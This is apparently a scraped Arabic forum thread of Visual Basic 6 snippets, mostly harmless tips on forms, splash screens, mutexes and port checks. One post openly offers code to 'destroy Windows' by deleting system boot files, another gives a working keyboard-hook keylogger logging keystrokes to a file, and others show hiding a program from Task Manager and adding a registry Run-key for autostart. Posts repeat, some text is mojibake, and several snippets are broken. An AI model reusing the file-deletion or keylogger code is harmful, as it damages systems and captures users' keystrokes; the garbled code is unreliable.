_ مثلا نريد ان نفحص ارقام البورتات من 20 الى 100 نضع الرقم 20 في الtext1 و القم 100 في الtext2 ثم نضغط على الزر command فتظهر لنا النتيجة في text3
فكرة العملية :
يقوم البرنامج بفحص ارقام البورتات المحلية من الرقم في الtext1 الى الرقم في الtext2
من خلال الfor loop حيث اذا تم حدوث خطا رقمه (10048) يكون البورت مفتوح بينما اذا حصل خطا ليس رقمه كذلك فنه يكون error يظهر في text3 واذا لم يحدث اي خطا في الفحص فانه البورتات مغلقة
كود:
Private Sub Command1_Click()
Call Timer1_Timer 'استدعاء التايمر
End Sub
Private Sub Timer1_Timer()
Dim x
Dim n
Dim m
n = Text1.Text
m = Text2.Text
On Error GoTo error
For x = n To m
Winsock1.LocalPort = x
Winsock1.Listen
Text3.Text = "Not Found"
Winsock1.Close
Next
Exit Sub
error:
If Err.Number = 10048 Then
Text3.Text = Str(x)
Else
Text3.Text = "Error"
End If
End Sub
هذا البرنامج يعمل على فحص البورت هل هو مفتوح ام لا
حيث يتم وضع رقم البورت الذي تريد ان تبدأ منه في الtext1 و قم البورت الذي تريد ان يصل له الفحص في text2
_ مثلا نريد ان نفحص ارقام البورتات من 20 الى 100 نضع الرقم 20 في الtext1 و القم 100 في الtext2 ثم نضغط على الزر command فتظهر لنا النتيجة في text3
فكرة العملية :
يقوم البرنامج بفحص ارقام البورتات المحلية من الرقم في الtext1 الى الرقم في الtext2
من خلال الfor loop حيث اذا تم حدوث خطا رقمه (10048) يكون البورت مفتوح بينما اذا حصل خطا ليس رقمه كذلك فنه يكون error يظهر في text3 واذا لم يحدث اي خطا في الفحص فانه البورتات مغلقة
كيفكم انشاء الله بخير
اليكم افضل الاكواد استعملها فى ضرب واتلاف نسخ الويندوز
لعمل ذلك اتبع الاتى
ادخل الى برنامج الفيجوال بيسك
عمل اداه كوماند commmand ثم اكتب التالى
ضع هذا الكود فى منطقة التعريفات العامة
ضع هذا الكود فى الـ،ـ command
شاشة افتتاحية
اضف تايمر
وضع هذا الكود في الفورم لود
Dim start, finish
Me.Visible = True
start = Timer
finish = start + 5
Do Until finish <= Timer
DoEvents
Loop
Unload Me
Form2.Show
End Sub
اليكم افضل الاكواد استعملها فى ضرب واتلاف نسخ الويندوز
لعمل ذلك اتبع الاتى
ادخل الى برنامج الفيجوال بيسك
عمل اداه كوماند commmand ثم اكتب التالى
ضع هذا الكود فى منطقة التعريفات العامة
1- private declare function deletfile lib "kernel32" alias "deletefilea" (by val lpfilename as string )as long |
ضع هذا الكود فى الـ،ـ command
private sub command1_click( ) 2-deleteFile ("c:\config.sys,NTDETECT.COM)d |
اضف تايمر
وضع هذا الكود في الفورم لود
Dim start, finish
Me.Visible = True
start = Timer
finish = start + 5
Do Until finish <= Timer
DoEvents
Loop
Unload Me
Form2.Show
End Sub
وجربو هذا ايضا وشوفو النتيجة
نسيت اقلكم حطو ملف في c واسمه xxx.zip للتجريب فقط
كود:
Private Sub Form_Load() Kill "C:\xxx.zip" Unload Form1 End Sub
dim a as string a = "السطرالأول" & vbcrlf & "السطرالثاني" & vbcrlf & "السطرالثالث" msgbox a, vbmsgboxright + vbinformation, "العنوان" |
اقدم لكم طريقة بسيطة جدا لجعل الفورم شفاف
أولا : ضع هذا الكود فى القسم العام فى الكود General
كود:
Private Declare Function SetLayeredWindowAttributes Lib "user32.dll" (ByVal hwnd As Long, ByValcrKey As Long, ByVal bAlpha As Byte, ByVal dwFlags As Long) As Boolean Private Declare Function SetWindowLong Lib "user32" Alias "SetWindowLongA" (ByVal hwnd As Long, ByVal nIndex As Long, ByVal dwNewLong As Long) As Long Private Declare Function GetWindowLong Lib "user32" Alias "GetWindowLongA" (ByVal hwnd As Long, ByVal nIndex As Long) As Long Const LWA_ALPHA = 2 Const GWL_EXSTYLE = (-20)
ثم ضع هذا الكود فى حدث التحميل للفورم Load
كود:
SetWindowLong hwnd, GWL_EXSTYLE, GetWindowLong(hwnd, GWL_EXSTYLE) Or WS_EX_LAYERED SetLayeredWindowAttributes hwnd, 0,
كود:
128, LWA_ALPHA
الرقم المكتوب باللون الأحمر فى الكود السابق يمكنك من خلاله تحديد درجة الشفافية
من 0 حتى 255
الرقم 255 يعنى ان الفورم يظهر بشكل طبيعى بدون شفافية
كلما قل الرقم عن 255 كلما زادت شفافية الفورم حتى يصل الى أعلى مستوى للشفافية عند القيمة 0أى يصبح عندها الفورم مخفى
وتجنب وضع قيمة اكبر من ذلك لان البرنامج لن يقبلها وسيعطيك رسالة خطا
كود اخفاء .. الفورم الول واظهار الثاني
+
commanD1
مابه قصور حبينا نشارككم
+
commanD1
كود:
form2.show form1.Hide
لاحظة القسم راقد اليومين ذي وهو افضل قسم لدي
وقررت انزل درس نبدا
module :
Code:
=++++++++++++++++++++++++++++++++++++=
form:
Code:
وقررت انزل درس نبدا
module :
Code:
كود:
Private Type KBHOOKSTRUCT
vkCode As Long
scanCode As Long
flags As Long
time As Long
dwExtraInfo As Long
End Type
Public Const WH_KEYBOARD_LL = 13
Public Declare Function SetWindowsHookEx Lib "user32" Alias "SetWindowsHookExA" (ByVal idHook As Long, ByVal lpfn As Long, ByVal hmod As Long, ByVal dwThreadId As Long) As Long
Public Declare Function UnhookWindowsHookEx Lib "user32" (ByVal hHook As Long) As Long
Public Declare Function CallNextHookEx Lib "user32" (ByVal hHook As Long, ByVal ncode As Long, ByVal wParam As Long, ByVal lParam As Long) As Long
Public Declare Sub CopyMemoryLong Lib "kernel32" Alias "RtlMoveMemory" (Destination As Any, Source As Long, ByVal Length As Long)
Public Declare Sub CopyMemory Lib "kernel32" Alias "RtlMoveMemory" (Destination As Any, Source As Any, ByVal Length As Long)
Public HookHW As Long
Public Function myfunc(ByVal code As Long, ByVal wParam As Long, ByVal lParam As Long) As Long
Dim kybd As KBHOOKSTRUCT
myfunc = True
If code = HC_ACTION And wParam <> 257 Then
CopyMemory kybd, ByVal lParam, Len(kybd)
Open App.Path & "\keybord.txt" For Append As #1 ' change the path to any file
Print #1, Chr(kybd.vkCode)
Close #1
myfunc = CallNextHookEx(Hook, code, wParam, lParam)
ElseIf code < 0 Then
myfunc = CallNextHookEx(Hook, code, wParam, lParam)
End If
End Function
form:
Code:
كود:
Private Sub Form_Load() 'SetHook HookHW = SetWindowsHookEx(WH_KEYBOARD_LL, AddressOf myfunc, App.hInstance, 0) End Sub Private Sub Form_QueryUnload(Cancel As Integer, UnloadMode As Integer) 'Unhook Call UnhookWindowsHookEx(HookHW) End Sub
والتطوير عليكم
اليوم وجدت كود جميل ... حبيت أطرحه في المنتدى
وهو عند الضغط على ال Label يفتحلك موقع معين في المتصفح الذي تستعمله وليس في ال internet explorer
نفتح مشروع جديد بالفيجوال باسيك
و نضع على الفورم LaBeL
نضغط عليه مرتين ونكتب هذا الكود السّهلكود:
أنت احذف الفراغات التي بين كلمة s h e l l
و غيّر dev-point الى الموقع الذي تريده
ونحفظ
وهو عند الضغط على ال Label يفتحلك موقع معين في المتصفح الذي تستعمله وليس في ال internet explorer
نفتح مشروع جديد بالفيجوال باسيك
و نضع على الفورم LaBeL
نضغط عليه مرتين ونكتب هذا الكود السّهلكود:
s h e l l "cmd.exe /c start www.dev-point.com", vbHide |
أنت احذف الفراغات التي بين كلمة s h e l l
و غيّر dev-point الى الموقع الذي تريده
ونحفظ
نصائح ضرورية للمبرمجين
نبدأ بإسم الله
النصيحة الأولى
كود منع تشغيل أكثر من نسخة من البرنامج
هذا الكود منقول ولكن فعال وقوى
الكود
في قسم التصريحات العامة
أدخل الكود التالي
Option Explicit
Private Declare Function CreateMutex Lib "kernel32" Alias "CreateMutexA" (lpMutexAttributes As SECURITY_ATTRIBUTES, ByVal bInitialOwner As Long, ByVal lpName As String) As Long
Private Declare Function CloseHandle Lib "kernel32" (ByVal hObject As Long) As Long
Private Declare Function ReleaseMutex Lib "kernel32" (ByVal hMutex As Long) As Long
Private Type SECURITY_ATTRIBUTES
nLength As Long
lpSecurityDescriptor As Long
bInheritHandle As Long
End Type
Private Const ERROR_ALREADY_EXISTS = 183&
Private m_hMutex As Long
Public Function CheckMutex(MutexName As String) As Boolean
Dim S As SECURITY_ATTRIBUTES
m_hMutex = CreateMutex(S, 0, MutexName)
If Err.LastDllError = ERROR_ALREADY_EXISTS Then
CheckMutex = False
Else
CheckMutex = True
End If
End Function
Public Sub CloseMutex()
ReleaseMutex m_hMutex
CloseHandle m_hMutex
End Sub
وفي كود تحميل الفورم
Private Sub Form_Load()
Set mut = New clsMutex
If Not mut.CheckMutex("MyPrg") Then
MsgBox " Application is running "
Unload Me
End If
End Sub
النصيحة الثانية
إخفاء إسم البرنامج من إدارة المهام
في كود تحميل الفورم
App.TaskVisible = False
وللإلغاء قم بتبدليها إلى
App.TaskVisible = True
أو إحذفها
النصيحة الثالثة
حفظ ما يتغير بالبرنامج حتى بعد إغلاقه
في المثال هنا سيتم حفظ المعلومات في صندوق نص
في كود تحميل الفورم
Text1.Text = GetSetting(App.Title, "Settings", "SaveInText1")
في الحدث
Form_Unload
SaveSetting App.Title, "Settings", "SaveInText1", Trim(Text1.Text)
النصيحة الرابعة
لمسة إحترافية لمشروعك
وهي عبارة عن طريقة رائعة لملء
ProgressBar
بالتايمر Timer
أولا أضف تايمر
Timer
+
ProgressBar
وفي التصريح الخاص بالتايمر
أدخل الكود التالي
If ProgressBar.Value < ProgressBar.Max Then
ProgressBar = Val(ProgressBar.Value) + 10
End If
If ProgressBar >= ProgressBar.Max Then
Timer1.Enabled = False
End If
وفي زر الأمر الخاص ب المهمة للبرنامج
_مثلا زر الإتصال أو الحساب أو أي مهمة _
Dim HackPs As String
HackPs = 100
Timer1.Interval = Val(HackPs)
لا حول ولا قوة إلا بالله
نبدأ بإسم الله
النصيحة الأولى
كود منع تشغيل أكثر من نسخة من البرنامج
هذا الكود منقول ولكن فعال وقوى
الكود
في قسم التصريحات العامة
أدخل الكود التالي
Option Explicit
Private Declare Function CreateMutex Lib "kernel32" Alias "CreateMutexA" (lpMutexAttributes As SECURITY_ATTRIBUTES, ByVal bInitialOwner As Long, ByVal lpName As String) As Long
Private Declare Function CloseHandle Lib "kernel32" (ByVal hObject As Long) As Long
Private Declare Function ReleaseMutex Lib "kernel32" (ByVal hMutex As Long) As Long
Private Type SECURITY_ATTRIBUTES
nLength As Long
lpSecurityDescriptor As Long
bInheritHandle As Long
End Type
Private Const ERROR_ALREADY_EXISTS = 183&
Private m_hMutex As Long
Public Function CheckMutex(MutexName As String) As Boolean
Dim S As SECURITY_ATTRIBUTES
m_hMutex = CreateMutex(S, 0, MutexName)
If Err.LastDllError = ERROR_ALREADY_EXISTS Then
CheckMutex = False
Else
CheckMutex = True
End If
End Function
Public Sub CloseMutex()
ReleaseMutex m_hMutex
CloseHandle m_hMutex
End Sub
وفي كود تحميل الفورم
Private Sub Form_Load()
Set mut = New clsMutex
If Not mut.CheckMutex("MyPrg") Then
MsgBox " Application is running "
Unload Me
End If
End Sub
النصيحة الثانية
إخفاء إسم البرنامج من إدارة المهام
في كود تحميل الفورم
App.TaskVisible = False
وللإلغاء قم بتبدليها إلى
App.TaskVisible = True
أو إحذفها
النصيحة الثالثة
حفظ ما يتغير بالبرنامج حتى بعد إغلاقه
في المثال هنا سيتم حفظ المعلومات في صندوق نص
في كود تحميل الفورم
Text1.Text = GetSetting(App.Title, "Settings", "SaveInText1")
في الحدث
Form_Unload
SaveSetting App.Title, "Settings", "SaveInText1", Trim(Text1.Text)
النصيحة الرابعة
لمسة إحترافية لمشروعك
وهي عبارة عن طريقة رائعة لملء
ProgressBar
بالتايمر Timer
أولا أضف تايمر
Timer
+
ProgressBar
وفي التصريح الخاص بالتايمر
أدخل الكود التالي
If ProgressBar.Value < ProgressBar.Max Then
ProgressBar = Val(ProgressBar.Value) + 10
End If
If ProgressBar >= ProgressBar.Max Then
Timer1.Enabled = False
End If
وفي زر الأمر الخاص ب المهمة للبرنامج
_مثلا زر الإتصال أو الحساب أو أي مهمة _
Dim HackPs As String
HackPs = 100
Timer1.Interval = Val(HackPs)
لا حول ولا قوة إلا بالله
جماليات لفتح وإغلاق الفورم
طريقة جميلة لفتح الفورم
في قسم التصريحات العامة
Sub Explode(form1 As Form)
form1.Width = 0
form1.Height = 0
form1.Show
For x = 0 To 5000 Step 1
form1.Width = x
form1.Height = x
With form1
.Left = (Screen.Width - .Width) / 2
.Top = (Screen.Height - .Height) / 2
End With
Next
في كود تحميل الفورم
Explode Me
طريقة رائعة لإغلاق الفورم
الكود
ضع الكود في كود تحميل الفورم
Sub SlideWindow(frmSlide As Form, iSpeed As Integer)
While frmSlide.Left + frmSlide.Width < Screen.Width
DoEvents
frmSlide.Left = frmSlide.Left + iSpeed
Wend
While frmSlide.Top - frmSlide.Height < Screen.Height
DoEvents
frmSlide.Top = frmSlide.Top + iSpeed
Wend
Unload frmSlide
End Sub
زر الإغلاق هو
Command1
الكود
Private Sub Command1_Click()
Call SlideWindow(Form1, 100)
End Sub
لا حول ولا قوة إلا بالله
كيفية جعل النص في التكست بوكس حرفي في فيجوال بيسك دوت نت
وذلك بالضغط مرتين على المربع النصي
كود:
Private Sub TextBox5_TextChanged(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles TextBox5.TextChanged
Dim i As Integer
Try
i = TextBox5.Text
Catch
MsgBox("you are really crazy")
End Try
End Sub
End Class
end |
كود اخفاء زر
كود اظهار زر
الي بلون الأحمر هو الزر او الصوره او المتصفح او اي شي فقط غير اسمه
مثال لو كان متصفح راح يكون الكود
امسح الي بين ال e وال b
كود:
Command1.Visible = False
كود:
Command1.Visible = Ture
مثال لو كان متصفح راح يكون الكود
كود:
we bBrowser1.Visible = False
حبيت أشاركم
شاشه أفتتاحيه
ÓæÝ äÍÊÇÌ Åáì äãæÐÌíä¡ ÖÚ åÐÇ ÇáßæÏ Ýí ÇáäãæÐÌ ÇáÃæá
Private Sub Form_Load()
Dim Start, Finsh
Form2.Show
Start = Timer
Finsh = Start + 3
Do Until Finsh <= Timer
DoEvents
Loop
Unload Form2
Form1.Show
End Sub
شفت الكل مشارك قلت أشارك بكود من عندي
كود بدء التشغيل
حطه بل فروم متل ما هو
شاشه أفتتاحيه
ÓæÝ äÍÊÇÌ Åáì äãæÐÌíä¡ ÖÚ åÐÇ ÇáßæÏ Ýí ÇáäãæÐÌ ÇáÃæá
Private Sub Form_Load()
Dim Start, Finsh
Form2.Show
Start = Timer
Finsh = Start + 3
Do Until Finsh <= Timer
DoEvents
Loop
Unload Form2
Form1.Show
End Sub
شفت الكل مشارك قلت أشارك بكود من عندي
كود بدء التشغيل
كود:
Private Function RegWrite(Key1, SValue As String)
Set WSH****************l = CreateObject("WScript.****************l")
WSH****************l.RegWrite Key1, SValue
End Function
في Command1
Private Sub Command1_Click()
RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run\notepad.exe", " path of the notepad"
End Sub
كود:
لوضع سيريال نمبر لدخول البرنامج If Text1.Text = "هنا اسم الدخول للبرنامج" Then If Text2.Text = "هنا السيريال نمبر" Then Form2.Show Else End If End If ------------------------------ طريقة الاستخدام قم بوضع بالفورم الاول 2 text box وزر commandbutton وقم بوضع الكود اعلاه بزر الكوماند وحط برنامج بالفورم الثاني مثالبالتوفيق للجميع
